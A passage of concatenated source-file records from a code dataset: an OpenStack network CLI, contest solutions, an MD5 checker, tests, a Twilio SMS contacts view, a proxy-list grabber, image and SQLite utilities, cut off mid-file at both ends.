parser.add_argument(\n 'net_name', metavar='net-name',\n help='Name of network to create')\n\n return parser\n\n def get_data(self, parsed_args):\n self.log.debug('get_data(%s)' % parsed_args)\n quantum_client = self.app.client_manager.quantum\n quantum_client.tenant = parsed_args.tenant_id\n quantum_client.format = parsed_args.request_format\n body = {'network': {'name': parsed_args.net_name, }, }\n network = quantum_client.create_network(body)\n # {u'network': {u'id': u'e9424a76-6db4-4c93-97b6-ec311cd51f19'}}\n info = 'network' in network and network['network'] or None\n if info:\n print >>self.app.stdout, _('Created a new Virtual Network:')\n else:\n info = {'': ''}\n return zip(*sorted(info.iteritems()))\n\n\nclass DeleteNetwork(QuantumCommand):\n \"\"\"Delete a given network\"\"\"\n\n api = 'network'\n log = logging.getLogger(__name__ + '.DeleteNetwork')\n\n def get_parser(self, prog_name):\n parser = super(DeleteNetwork, self).get_parser(prog_name)\n parser.add_argument(\n 'net_id', metavar='net-id',\n help='ID of network to delete')\n return parser\n\n def run(self, parsed_args):\n self.log.debug('run(%s)' % parsed_args)\n quantum_client = self.app.client_manager.quantum\n quantum_client.tenant = parsed_args.tenant_id\n quantum_client.format = parsed_args.request_format\n quantum_client.delete_network(parsed_args.net_id)\n print >>self.app.stdout, (_('Deleted Network: %(networkid)s')\n % {'networkid': parsed_args.net_id})\n return\n\n\nclass UpdateNetwork(QuantumCommand):\n \"\"\"Update network's information\"\"\"\n\n api = 'network'\n log = logging.getLogger(__name__ + '.UpdateNetwork')\n\n def get_parser(self, prog_name):\n parser = super(UpdateNetwork, self).get_parser(prog_name)\n parser.add_argument(\n 'net_id', metavar='net-id',\n help='ID of network to update')\n\n parser.add_argument(\n 'newvalues', metavar='field=newvalue[,field2=newvalue2]',\n help='new values for the network')\n return parser\n\n def run(self, parsed_args):\n self.log.debug('run(%s)' % parsed_args)\n quantum_client = self.app.client_manager.quantum\n quantum_client.tenant = parsed_args.tenant_id\n quantum_client.format = parsed_args.request_format\n field_values = parsed_args.newvalues\n data = {'network': {}}\n for kv in field_values.split(\",\"):\n try:\n k, v = kv.split(\"=\")\n data['network'][k] = v\n except ValueError:\n raise exceptions.CommandError(\n \"malformed new values (field=newvalue): %s\" % kv)\n\n data['network']['id'] = parsed_args.net_id\n quantum_client.update_network(parsed_args.net_id, data)\n print >>self.app.stdout, (\n _('Updated Network: %(networkid)s') %\n {'networkid': parsed_args.net_id})\n return\n","sub_path":"quantumclient/quantum/v1_1/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":10408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"40708781","text":"r, c, k = map(int ,input().split())\ngrid = [list(input().split()) for _ in range(r)]\n\nx, y = 0, 0\nout = [grid[x][y]]\ndx = [1, 0, -1, 0]\ndy = [0, 1, 0, -1]\n\nfor _ in range(k):\n opts = []\n for d in range(4):\n nx = x + dx[d]\n ny = y + dy[d]\n if 0 <= nx < r and 0 <= ny < c and grid[nx][ny] != grid[x][y]:\n opts.append((grid[nx][ny], nx, ny))\n\n opts.sort()\n v, x, y = opts[0]\n out.append(v)\nprint(''.join(out))\n","sub_path":"codecon/nov18/tile.py","file_name":"tile.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"97684670","text":"N, A, B = map(int, input().split())\nans = 0\n\n\ndef move(d):\n if d < A:\n return A\n elif d <= B:\n return d\n else:\n return B\n\n\nfor _ in range(N):\n s, d = input().split()\n d = int(d)\n if s == 'East':\n ans += move(d)\n else:\n ans -= move(d)\n\nif ans > 0:\n print(\"East\", ans)\nelif ans == 0:\n print(0)\nelse:\n print(\"West\", -ans)\n","sub_path":"python/abc025b.py","file_name":"abc025b.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"494410212","text":"\nfrom datetime import datetime\nimport json\nfrom optparse import OptionParser\nimport hashlib\nimport os\n\ndef getArgv():\n\tparser = OptionParser(usage=\"usage: %prog [options] filename\",\n version=\"%prog 1.0\")\n\tparser.add_option(\"-f\", \"--file\", dest=\"filename\", action=\"store\",\n\t\t\t\t\thelp=\"File to process\")\n\tparser.add_option(\"-d\", \"--dir\", dest=\"rootdir\", action=\"store\",\n\t\t\t\t\thelp=\"Directory to process.\")\n\tparser.add_option(\"-r\", \"--recursive\", dest=\"recursive\", action=\"store_true\",\n\t\t\t\t\thelp=\"Recursive flag.\")\n\tparser.add_option(\"-j\", \"--json\", dest=\"jsonFile\", action=\"store\",\n\t\t\t\t\thelp=\"Result file to process.\")\n\n\t(options, args) = parser.parse_args()\n\t#TODO Check for trailing slash on rootdir\n\treturn(options.filename, options.rootdir, options.recursive, options.jsonFile)\n\ndef md5(fname):\n hash_md5 = hashlib.md5()\n with open(fname, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\ndef loopDir(dname, recursive):\n\tprint(\"Looping through \" + dname)\n\tfilelist={}\n\tfor filename in os.listdir(dname):\n\t\tprint(\"Checking for object status: \" + filename)\n\t\t#TODO handle permission issues\n\t\tif os.path.isdir(str(dname+'/'+filename)) and recursive:\n\t\t\t#print(\"Skipping directory: \" + filename)\n\t\t\tfilelist.update(loopDir(str(dname+'/'+filename), recursive))\n\t\telif os.path.isfile(str(dname+'/'+filename)):\n\t\t\tprint(\"Processing: \" + dname + '/' + filename)\n\t\t\tfilelist[str(dname+'/'+filename)]={}\n\t\t\thashback = md5(str(dname+'/'+filename))\n\t\t\tfilelist[str(dname+'/'+filename)]['name'] = str(dname+'/'+filename)\n\t\t\tfilelist[str(dname+'/'+filename)]['hash'] = hashback\n\treturn filelist\n\ndef writeJson(json):\n\twith open(\"md5_results.json\", \"a\") as f:\n\t\tf.write(json)\n\t\tf.close()\n\ndef readJson(jsonFile):\n\tjsonList = {}\n\twith open(jsonFile, \"r\") as f:\n\t\tjsonList = json.loads(f.read())\n\treturn jsonList\n\ndef verifySums(json):\n\t# Check md5sums of listed files and ensure they're the same\n\tbad = {}\n\tgood = {}\n\tfor filename in json:\n\t\ttest = md5(str(json[filename]['name']))\n\t\tif test == str(json[filename]['hash']):\n\t\t\tprint(\"MD5 matched: \" + str(json[filename]['name']))\n\t\t\tgood[filename] = json[filename]\n\t\t\tgood[filename]['newhash'] = test\n\t\telse:\n\t\t\tprint(\"MD5 mismatched: \" + str(json[filename]['name']))\n\t\t\tprint(\"Expected: \" + str(json[filename]['hash']))\n\t\t\tprint(\"TestedAs: \" + str(test))\n\t\t\tbad[filename] = json[filename]\n\t\t\tbad[filename]['badhash'] = test\n\tif len(bad) > 0:\n\t\tprint(\"Got some bad files on you.\")\n\t\tfor file in bad:\n\t\t\tprint(bad[file]['name'] + \" has bad hash: \" + bad[file]['badhash'])\n\treturn (good, bad)\n\ndef buildReport(good, bad):\n\t# Generate a report using the updated information\n\twith open(\"report.json\", \"a\") as f:\n\t\tf.write(\"UNCLASSIFIED\\n\\nFile Transfer Report\\n=====================\\n\")\n\t\ttoday = datetime.now()\n\t\tf.write(str(today.isoformat(' ')))\n\t\tf.write(\"\\n=====================\\n\\nMD5 Mismatches:\\n\\n\")\n\t\tfor file in bad:\n\t\t\tf.write(\"\\nFilename: \" + str(bad[file]['name']))\n\t\t\tf.write(\"\\nExpected MD5: \" + str(bad[file]['hash']))\n\t\t\tf.write(\"\\nCurrent MD5 : \" + str(bad[file]['badhash']))\n\t\t\tf.write(\"\\n---------------------------------\\n\")\n\t\tf.write(\"\\n=====================\\n\\nFile List:\\n\\n\")\n\t\tfor file in good:\n\t\t\tf.write(\"\\nFilename: \" + str(good[file]['name']))\n\t\t\tf.write(\"\\nExpected MD5: \" + str(good[file]['hash']))\n\t\t\tf.write(\"\\nCurrent MD5 : \" + str(good[file]['newhash']))\n\t\t\tf.write(\"\\n---------------------------------\\n\")\n\t\tf.write(\"\\n=====================\\n\\nUNCLASSIFIED\")\n\t\tf.close()\n\ndef main():\n\t(filename, rootdir, recursive, jsonFile) = getArgv()\n\n\tif filename:\n\t\t# Just checking a single file\n\t\tprint(\"Specified a single file:\" + filename)\n\t\thashback=md5(filename)\n\t\tprint(\"Processed file, and hash is: \" + hashback)\n\telif rootdir:\n\t\t# Checking a whole dir of files\n\t\tprint(\"Specified a directory:\" + rootdir)\n\t\tfilelist = loopDir(rootdir, recursive)\n\t\tfor filename in filelist:\n\t\t\tprint(\"Processed \" + filelist[filename]['name'] + \", and hash is: \" + filelist[filename]['hash'])\n\t\tif recursive:\n\t\t\tprint(\"Recursive flag set.\")\n\n\t\t# Convert filelist to json\n\t\tjsonList = json.dumps(filelist, indent=4, sort_keys=True)\n\t\tprint(jsonList)\n\n\t\t# Write to file\n\t\twriteJson(jsonList)\n\telif jsonFile:\n\t\t# Process results from a previous run.\n\t\tjsonList = readJson(jsonFile)\n\t\t(oldlist, results) = verifySums(jsonList)\n\t\tif len(results) > 0:\n\t\t\tbuildReport(oldlist, results)\n\nif __name__ == '__main__':\n\tmain()","sub_path":"md5sum.py","file_name":"md5sum.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"270710250","text":"import tempfile\nfrom scout.server.links import get_variant_links\nfrom scout.server.utils import find_index\nfrom scout.server.utils import append_safe\n\n\ndef test_get_variant_links(variant_obj):\n ## GIVEN a variant object without links\n assert \"thousandg_link\" not in variant_obj\n ## WHEN fetching the variant links\n links = get_variant_links(variant_obj)\n ## THEN check that links are returned\n assert \"thousandg_link\" in links\n\n\ndef test_find_index_bai(case_obj):\n\n # GIVEN a case with this type of alignment files\n # bam_file.bam\n # bam_file.bai\n with tempfile.TemporaryDirectory() as tmpdirname:\n with tempfile.NamedTemporaryFile(dir=tmpdirname, suffix=\".bai\") as idx:\n\n bam_file = idx.name.replace(\".bai\", \".bam\")\n # THEN the find_index function should return the correct index file\n index = find_index(bam_file)\n assert index.endswith(\"bam.bai\") is False\n assert index.endswith(\".bai\")\n\n\ndef test_find_index_bam_bai(case_obj):\n\n # GIVEN a case with this type of alignment files\n # bam_file.bam\n # bam_file.bam.bai\n with tempfile.TemporaryDirectory() as tmpdirname:\n with tempfile.NamedTemporaryFile(dir=tmpdirname, suffix=\"bam.bai\") as idx:\n\n bam_file = idx.name.replace(\".bai\", \"\")\n # THEN the find_index function should return the correct index file\n index = find_index(bam_file)\n assert index.endswith(\"bam.bai\")\n\n\ndef test_find_index_crai(case_obj):\n\n # GIVEN a case with this type of alignment files\n # bam_file.cram\n # bam_file.crai\n with tempfile.TemporaryDirectory() as tmpdirname:\n with tempfile.NamedTemporaryFile(dir=tmpdirname, suffix=\".crai\") as idx:\n\n cram_file = idx.name.replace(\".crai\", \".cram\")\n # THEN the find_index function should return the correct index file\n index = find_index(cram_file)\n assert index.endswith(\"cram.crai\") is False\n assert index.endswith(\".crai\")\n\n\ndef test_find_index_cram_crai(case_obj):\n\n # GIVEN a case with this type of alignment files\n # bam_file.cram\n # bam_file.cram.crai\n with tempfile.TemporaryDirectory() as tmpdirname:\n with tempfile.NamedTemporaryFile(dir=tmpdirname, suffix=\"cram.crai\") as idx:\n\n cram_file = idx.name.replace(\".crai\", \"\")\n # THEN the find_index function should return the correct index file\n index = find_index(cram_file)\n assert index.endswith(\"cram.crai\")\n\n\ndef test_append_safe_noExcept():\n ## GIVEN a simple dict with list\n d = {\"a\": [1]}\n\n ## WHEN calling append_safe\n append_safe(d, \"a\", 2)\n\n ## THEN append_safe() will append elem at index\n assert d == {\"a\": [1, 2]}\n\n\ndef test_append_safe_Except():\n ## GIVEN a simple dict with list\n d = {}\n\n ## WHEN calling append_safe() on a empty\n append_safe(d, \"a\", 2)\n\n ## THEN list.append exception is caught in try/except and\n ## program execution continues\n assert d == {\"a\": [2]}\n","sub_path":"tests/server/test_server_utils.py","file_name":"test_server_utils.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"522589147","text":"from proxy_grabber import ProxyGrabber\r\n\r\ndef proxy_grab(objectgrabber, constlim):\r\n flag = True\r\n n=0\r\n while(flag):\r\n try:\r\n objectgrabber.grab_proxies(proxy_limit=10)\r\n flag = False\r\n except:\r\n if (n>constlim):break\r\n n+=1\r\n print(\"exception\")\r\n flag = True\r\n print(\"proxies grabbed\")\r\n#\r\n# while (flag):\r\n# try:\r\n# objectgrabber.check_proxies()\r\n# flag = False\r\n# except:\r\n# print(\"exception\")\r\n# flag = True\r\n#\r\n#print(\"proxies checked\")\r\ndef write_file(txt, object):\r\n with open(txt, \"w\") as file:\r\n for proxy in object.get_proxy_list(): file.write(proxy+\"\\n\")\r\n\r\ndef main():\r\n objectgrabber = ProxyGrabber()\r\n print(\"object created\")\r\n constlim = 100\r\n proxy_grab(objectgrabber, constlim)\r\n write_file(\"proxylist.txt\", objectgrabber)\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"grabncheck.py","file_name":"grabncheck.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"79718494","text":"# -*- coding: utf-8 -*-\n\nfrom base import *\nimport time\nimport pymongo.errors\nfrom bson.son import SON\nfrom bnw.core.base import config\nimport bnw.core.bnw_objects as objs\nfrom twisted.python import log\nimport traceback\n\n@defer.inlineCallbacks\ndef check_interval(job_name, interval):\n now = time.time()\n name = 'last_' + job_name\n try:\n upresult = yield objs.GlobalState.mupdate(\n {'name': name, 'value': {'$lt': now-interval}},\n {'name': name, 'value': now}, upsert=True, w=1)\n except pymongo.errors.DuplicateKeyError:\n defer.returnValue(False)\n defer.returnValue(upresult['n'] > 0)\n\n@defer.inlineCallbacks\ndef do_mapreduce():\n now = time.time()\n if (yield check_interval('clubs', 6*3600)):\n yield objs.Message.map_reduce(\n map='function() { this.clubs.forEach(function(z) { emit(z, 1);}); }',\n reduce='function(k,vals) { var sum=0; for(var i in vals) sum += vals[i]; return sum; }',\n out={'replace': objs.Club.collection.collection_name}) # do not hardcode collection names\n\n if (yield check_interval('tags', 6*3600)):\n yield objs.Message.map_reduce(\n map='function() { this.tags.forEach(function(z) { emit(z, 1);}); }',\n reduce='function(k,vals) { var sum=0; for(var i in vals) sum += vals[i]; return sum; }',\n out={'replace': objs.Tag.collection.collection_name})\n\n if (yield check_interval('today', 300)):\n start = now - 86400\n yield objs.Comment.aggregate([\n {'$match': {'date': {'$gte': start}}},\n {'$group': {'_id': '$message', 'value': {'$sum': 1}, 'last': {'$max':'$date'}}},\n {'$sort': SON([('value', -1), ('last', -1)])},\n {'$out': objs.Today.collection.collection_name}\n ])\n\n if (yield check_interval('usertags', 86400)):\n yield objs.Message.map_reduce(\n map='''function () {\n var user = this.user;\n for (var i in this.tags) {\n var tag = this.tags[i];\n emit(user+\" \"+tag, {count:1, tag: tag, user: user});\n }\n }''',\n reduce='''function (k, vals) {\n var sum = 0;\n var user;\n var tag;\n for (var i in vals) {\n var val = vals[i];\n sum += val.count;\n if (i==0) {\n tag = val.tag;\n user = val.user;\n }\n }\n return {count:sum, tag:tag, user:user};\n }''',\n out={'replace': objs.UserTag.collection.collection_name})\n yield objs.UserTag.ensure_indexes()\n\n@defer.inlineCallbacks\ndef map_reduce_timer():\n try:\n yield do_mapreduce()\n except:\n log.msg('MapReduce failed: %s ' % (traceback.format_exc(),))\n reactor.callLater(300, map_reduce_timer)\n defer.returnValue(None)\n\ndef setup_mapreduce():\n if config.mapreduce_enabled:\n reactor.callLater(1, map_reduce_timer)\n","sub_path":"bnw/handlers/mapreduce.py","file_name":"mapreduce.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"583408497","text":"#from matplotlib import pyplot as plt\nfrom openpyxl import load_workbook\nfrom openpyxl import Workbook as wb\nimport json\nfrom datetime import datetime\n\nname = str(input(\"Escribir el nombre del archivo exacto(incluyendo el formato):\"))\n\nexfile = load_workbook(filename = name)\nsheet = exfile[str(input(\"Ingrese nombre hoja:\"))]\n\nheaders = []\na = int(input (\"Ingrese cantidad de columnas:\"))\nb = int(input (\"Ingrese cantidad de filas:\"))\nfor value in sheet.iter_rows(min_row = 1, max_row = 1, min_col =1, max_col= a , values_only = True):\n headers = value\nprint (headers)\n\ni=0\ndatas = {}\nfor row in sheet.iter_rows(min_row = 2, max_row = b, min_col = 1, max_col = a , values_only = True):\n \n data_id = row[0] #supongo que id esta en columna A\n for i in range(len(headers)):\n if type(row[i]) == datetime:\n data_date = row[i]\n corrected_date = datetime.strptime(data_date, \"%Y-%m-%d\")\n datas[headers[i]] = row[i]\n else:\n datas[headers[i]] = row[i]\n \n\nprint(json.dumps(datas, indent = 2))","sub_path":"Analisis.py","file_name":"Analisis.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"348677857","text":"import logging\nimport time\nfrom string import ascii_lowercase\n\nfrom twilio.twiml import Response\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.sites.models import Site\nfrom django.core.cache import cache\nfrom django.http import (\n Http404,\n HttpResponse,\n HttpResponseRedirect,\n)\nfrom django.utils import timezone\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import View\n\nfrom haystack.inputs import AutoQuery\nfrom haystack.query import SearchQuerySet, SQ\n\nfrom contacts.models import (\n Book,\n Contact,\n LogEntry,\n)\nfrom profiles.models import Profile\n\nMET_PREFIXES = ('met', 'saw')\nCACHE_TIMEOUT = 60\nQUERY_ACCOUNT = 'query_account'\nGET_EMAIL = 'get_email'\nNEW_ACCOUNT = 'new_account'\n\n\n@csrf_exempt\ndef sms(request):\n if request.method == 'GET':\n return HttpResponseRedirect('/')\n if request.method == 'POST':\n overall_start = time.time()\n cache_key = request.POST.get('From')\n co_number = request.POST.get('To')\n message = request.POST.get('Body').strip()\n if not cache_key:\n raise Http404()\n flow_state = cache.get(cache_key)\n if flow_state:\n if message.lower() == 'done':\n cache.delete(cache_key)\n return help_message()\n if flow_state == QUERY_ACCOUNT:\n if message.lower() in ('yes', 'yep'):\n cache.set(cache_key, GET_EMAIL, CACHE_TIMEOUT)\n return create_message(\n \"Ok, what's the email address on your account?\",\n to=cache_key, sender=co_number,\n )\n else:\n cache.delete(cache_key)\n return create_message(\n \"Ok! Please go to https://www.contactotter.com to create an account.\",\n to=cache_key, sender=co_number,\n )\n if flow_state == GET_EMAIL:\n try:\n # TODO: Send a confirmation email for connecting phone\n user = User.objects.get(email=message.lower())\n profile, _ = Profile.objects.get_or_create(user=user)\n profile.phone_number = cache_key\n profile.save()\n cache.delete(cache_key)\n return create_message(\n \"Ok! Your phone is connected to your account.\",\n to=cache_key, sender=co_number,\n )\n except User.DoesNotExist:\n cache.delete(cache_key)\n return create_message(\n \"We couldn't find an account for that email. Please go to https://www.contactotter.com to create one\",\n to=cache_key, sender=co_number,\n )\n user, book = get_user_objects_from_message(request.POST)\n if not user or not book:\n cache.set(cache_key, QUERY_ACCOUNT, CACHE_TIMEOUT)\n return create_message(\n \"Hmm... I can't find an account with this number. Do you have a ContactOtter account?\",\n to=cache_key, sender=co_number,\n )\n\n if flow_state:\n if flow_state.startswith('log'):\n name = ':'.join(flow_state.split(':')[1:])\n contacts = SearchQuerySet().filter(book=book.id).filter(\n SQ(name=AutoQuery(name)) | SQ(content=AutoQuery(name))\n )\n if len(message) == 1 and len(contacts) > 0:\n index = ascii_lowercase.index(message.lower())\n contact = contacts[index].object\n cache.delete(cache_key)\n return log_contact(contact, user)\n cache.delete(cache_key)\n return create_message(\n \"Sorry, I didn't understand that.\",\n to=cache_key, sender=co_number,\n )\n if flow_state.startswith('find'):\n name = ':'.join(flow_state.split(':')[1:])\n contacts = SearchQuerySet().filter(book=book.id).filter(\n SQ(name=AutoQuery(name)) | SQ(content=AutoQuery(name))\n )\n if len(message) == 1 and len(contacts) > 0:\n index = ascii_lowercase.index(message.lower())\n contact = contacts[index].object\n cache.delete(cache_key)\n return create_message(\n get_contact_string(contact), to=cache_key, sender=co_number,\n )\n cache.delete(cache_key)\n return create_message(\n \"Sorry, I didn't understand that.\",\n to=cache_key, sender=co_number,\n )\n\n\n tokens = message.split(' ')\n if len(tokens) < 2:\n return help_message()\n\n search_start = time.time()\n if tokens[0].lower() in MET_PREFIXES:\n if tokens[1].lower() == 'with':\n del tokens[1]\n name = ' '.join(tokens[1:])\n contacts = SearchQuerySet().filter(book=book.id).filter(\n SQ(name=AutoQuery(name)) | SQ(content=AutoQuery(name))\n )\n if len(contacts) > 1:\n cache.set(cache_key, \"log:{}\".format(name), CACHE_TIMEOUT)\n response_string = \"Which {} did you mean?\\n\".format(name)\n response_string += get_string_from_search_contacts(contacts)\n response_string += \"(DONE to exit)\"\n return create_message(\n response_string, to=cache_key, sender=co_number,\n )\n if len(contacts) == 1:\n contact = contacts[0].object\n else:\n contact = Contact.objects.create(\n book=book,\n name=name,\n )\n\n cache.delete(cache_key)\n return log_contact(contact, user)\n\n if tokens[0].lower() == 'find':\n name = ' '.join(tokens[1:])\n contacts = SearchQuerySet().filter(book=book.id).filter(\n SQ(name=AutoQuery(name)) | SQ(content=AutoQuery(name))\n )\n if len(contacts) == 0:\n return create_message(\n \"Hmm... I didn't find any contacts.\",\n to=cache_key, sender=co_number,\n )\n if len(contacts) == 1:\n return create_message(\n get_contact_string(contacts[0].object),\n to=cache_key, sender=co_number,\n )\n response_string = get_string_from_search_contacts(contacts)\n if len(contacts) > 3:\n response_string += \"More: https://{}/search/?q={}\".format(\n Site.objects.get_current().domain,\n name,\n )\n cache.set(cache_key, \"find:{}\".format(name), CACHE_TIMEOUT)\n return create_message(\n \"Here's what I found for {}:\\n{}\".format(name, response_string),\n to=cache_key, sender=co_number,\n )\n return help_message()\n\n\ndef create_message(message, to, sender):\n r = Response()\n r.message(message, to=to, sender=sender)\n return HttpResponse(r.toxml(), content_type='text/xml')\n\n\ndef log_contact(contact, user):\n time =timezone.now()\n LogEntry.objects.create(\n contact=contact,\n logged_by=user,\n time=timezone.now(),\n kind='in person'\n )\n contact.last_contact = time\n contact.save()\n r = Response()\n r.message(\n \"Updated {} ({})\".format(contact.name, contact.get_complete_url())\n )\n return HttpResponse(r.toxml(), content_type='text/xml')\n\n\ndef get_string_from_search_contacts(contacts):\n response_string = \"\"\n for index, contact in enumerate(contacts[:3]):\n contact = contact.object\n letter = ascii_lowercase[index]\n response_string += \"{}: {} ({})\\n\".format(\n letter.upper(), contact.name, contact.get_complete_url(),\n )\n return response_string\n\n\ndef get_contact_string(contact):\n response_string = \"{}\\n\".format(contact.name)\n if contact.preferred_phone:\n response_string += \"{}\\n\".format(contact.preferred_phone)\n if contact.preferred_email:\n response_string += \"{}\\n\".format(contact.preferred_email)\n if contact.preferred_address:\n response_string += \"{}\\n\".format(contact.preferred_address)\n response_string += \"{}\\n\".format(contact.get_complete_url())\n return response_string\n\n\ndef get_user_objects_from_message(post_data):\n sender = post_data.get('From')\n try:\n profile = Profile.objects.get(phone_number=sender)\n user = profile.user\n except Profile.DoesNotExist:\n return None, None\n try:\n book = Book.objects.get_for_user(user)\n except Book.DoesNotExist:\n return None, None\n return user, book\n\n\ndef help_message():\n r = Response()\n message_string = (\n \"Hello! I understand:\\n\"\n \"'Add Jane Doe' to add Jane Doe as a contact\\n\"\n \"'Met Jane Doe' to log that you met Jane Doe\\n\"\n \"'Find Jane Doe' to search for Jane in your contacts\"\n )\n r.message(message_string)\n return HttpResponse(r.toxml(), content_type='text/xml')\n","sub_path":"chats/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"520756655","text":"import cv2\nimport os\nimport numpy as np\nimport shutil\nfrom multiprocessing import Pool\ndef calculate(image1, image2):\n # 灰度直方图算法\n # 计算单通道的直方图的相似值\n hist1 = cv2.calcHist([image1], [0], None, [256], [0.0, 255.0])\n hist2 = cv2.calcHist([image2], [0], None, [256], [0.0, 255.0])\n # 计算直方图的重合度\n degree = 0\n for i in range(len(hist1)):\n if hist1[i] != hist2[i]:\n degree = degree + \\\n (1 - abs(hist1[i] - hist2[i]) / max(hist1[i], hist2[i]))\n else:\n degree = degree + 1\n degree = degree / len(hist1)\n return degree\n\ndef classify_hist_with_split(image1, image2):\n # RGB每个通道的直方图相似度\n # 将图像resize后,分离为RGB三个通道,再计算每个通道的相似值\n sub_image1 = cv2.split(image1)\n sub_image2 = cv2.split(image2)\n sub_data = 0\n for im1, im2 in zip(sub_image1, sub_image2):\n sub_data += calculate(im1, im2)\n sub_data = sub_data / 3\n return sub_data\n\ndef cal_transfer_sim(img):\n test=cv2.imread(img)\n gray = cv2.cvtColor(test, cv2.COLOR_BGR2GRAY)\n gray=gray[:,:,np.newaxis]\n image =gray.repeat([3],axis=2)\n sim = classify_hist_with_split(test, image)\n return sim\n\n# fpath=[]\n# for mode in ['train_256使用时删去','val_256使用时删去']:\n# txt = './data/%s.txt' % mode\n# with open(txt, 'r')as f:\n# for i in f.readlines():\n# fp, label = i.strip().split(',')\n# fpath.append(fp)\ndataroot='./data'\ndef worker(fpath):\n for i in range(len(fpath)):\n try:\n fp = os.path.join(dataroot, fpath[i])\n sim=cal_transfer_sim(fp)\n if sim>0.915:\n shutil.move(fp,'./data/noise256_0.915/noise/')\n\n except:\n print(fp)\n\n\ndef main():\n fpath = []\n\n for mode in ['train_256使用时删去', 'val_256使用时删去']:\n txt = './data/%s.txt' % mode\n with open(txt, 'r')as f:\n for i in f.readlines():\n fp, label = i.strip().split(',')\n fpath.append(fp)\n length=len(fpath)\n\n print(\"主进程开始执行>>> pid={}\".format(os.getpid()))\n ps =Pool(6)\n step=length//6\n for i in range(6):\n st=i*step\n end=(i+1)*step\n ps.apply_async(worker, args=(fpath[st:end],)) # 异步执行\n\n # 关闭进程池,停止接受其它进程\n ps.close()\n # 阻塞进程\n ps.join()\n print(\"主进程终止\")\n\nif __name__ == '__main__':\n main()","sub_path":"denoise_mp.py","file_name":"denoise_mp.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"261607751","text":"from __future__ import absolute_import\nimport quantities as pq\nfrom .tuner import Tuner\n\n\nclass Parameter(object):\n\n def __init__(self, name, units, lbound, ubound, log_scale=False,\n initial_value=None):\n \"\"\"\n `name` -- used to look up the variable in the model\n `units` -- units of the parameter, also used to set the model\n [pq.Quantity]\n `lbound` -- the lower bound placed on the parameter\n `ubound` -- the upper bound placed on the parameter\n `log_scale` -- whether the value is log_scaled or not (is\n converted to non-log scale when setting the value\n of the model)\n `initial_value` -- optionally the initial value can be provided as\n well to be used as a reference\n \"\"\"\n self.name = name\n if units is None:\n self.units = pq.Quantity(1.0, 'dimensionless')\n else:\n self.units = pq.Quantity(1.0, units)\n self.lbound = float(lbound)\n self.ubound = float(ubound)\n self.log_scale = bool(int(log_scale))\n self.initial_value = initial_value\n","sub_path":"neurotune/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"130410707","text":"#=========================================================================================\r\n# IMPORTS\r\n#=========================================================================================\r\nimport sqlite3\r\nimport re\r\nfrom pprint import pprint\r\nfrom sqlite3 import Error\r\n\r\nclass SqLite():\r\n def __init__(self):\r\n self.conn, self.cursor = self.connect()\r\n #self.showconn()\r\n self.create_recipe_table()\r\n self.create_mealplan_table()\r\n self.create_inventory_table()\r\n\r\n def connect(self):\r\n # Connect to the database\r\n from os import path\r\n from tkinter import filedialog as fd\r\n fDir = path.dirname(__file__)+\"/database/\"\r\n conn = sqlite3.connect(fDir+\"/GUI.db\")\r\n cursor = conn.cursor()\r\n return conn, cursor\r\n\r\n def showconn(self):\r\n # Print statement to show the connection. Used in debugging\r\n print(self.conn)\r\n\r\n def close(self):\r\n # Close connection to the database\r\n self.cursor.close()\r\n self.conn.close()\r\n\r\n def create_mealplan_table(self):\r\n # Creating the table for the mealplan\r\n try :\r\n # Creating the books table,\r\n self.cursor.execute(\"Create table Mealplan ( \\\r\n Meal_Day varchar(300), \\\r\n Recipe_Name varchar(1000) \\\r\n )\")\r\n except Error as e:\r\n if ( re.match(\"table \\w+ already exists\", str(e)) is not None ):\r\n pass\r\n else:\r\n print(e)\r\n\r\n days = [\"Monday\", \"Tuesday\",\"Wednsday\",\"Thursday\",\"Friday\",\"Saturday\",\"Sunday\"]\r\n for x in range(0,(len(days))):\r\n self.cursor.execute(\"INSERT INTO Mealplan (Meal_Day) VALUES (?)\",(days[x],))\r\n self.conn.commit()\r\n\r\n def create_recipe_table(self):\r\n # Create the table for the recipes. Recipe_ID is not nessesary, only for debug\r\n try :\r\n self.cursor.execute(\"Create table Recipe ( \\\r\n Recipe_ID INTEGER not null PRIMARY KEY autoincrement, \\\r\n Recipe_Name varchar(300) not null, \\\r\n Recipe_Instructions varchar(1000) not null, \\\r\n Recipe_Picture varchar(300) not null, \\\r\n Recipe_Ingrediences varchar(5000) not null, \\\r\n Recipe_Measurement varchar(5000) not null, \\\r\n Recipe_Servings int, \\\r\n Recipe_Language varchar(5) \\\r\n )\")\r\n except Error as e:\r\n if ( re.match(\"table \\w+ already exists\", str(e)) is not None ):\r\n pass\r\n else:\r\n print(e)\r\n\r\n def create_inventory_table(self):\r\n # Create the 